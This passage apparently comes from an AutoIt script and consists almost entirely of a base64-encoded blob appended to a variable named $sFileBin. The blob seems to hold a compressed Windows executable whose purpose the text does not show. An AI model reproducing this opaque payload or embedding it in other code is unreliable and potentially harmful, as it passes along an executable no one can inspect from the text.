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' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= 'wP91EI00BMUxQVCwRbAf+DsQ+w+EjwABfkNqQOAz0lj39/AFcoA3jUQ/CD0AwK6gdxPo5kpANsSgMRAcxwDMADrrEVCM6HMBESABCccAMRJAg8AIiUX0IGVdgPQ5XfQPhD4ABTBX/3X0QAcQB2oBK7IGMXnjATs1MRFTUw0DAgxgX3AIyIlN+EQ7y5N390UMoQd0QCk5XRwPhJJJTRAcD4+nkYF1HP8kdRiZA+mQ8QHLfgpF4wvx4Qs5jUQJEeQLFugn4Qv0O/MwdGrHBuELAHfrGhBQ6LHlHQyL8OsIAjP2gAJB/3X4RlY4BjUcIlNTEAl14ARTU+sGgwiBApAVECD/FYggAolF+GZWE2ywA+ivgADgkVkE6VmiGfSJXfA5dF0I0xkUwHGqGrFvflGhU4lF7GFfB6CRIcExHkUgD4TbYT3gnEwUUcAUcRvonKACgwzEGDAXEAzUizWEnwIV0BbQAWMRsAg7w2AECPbpt9ADfj2D+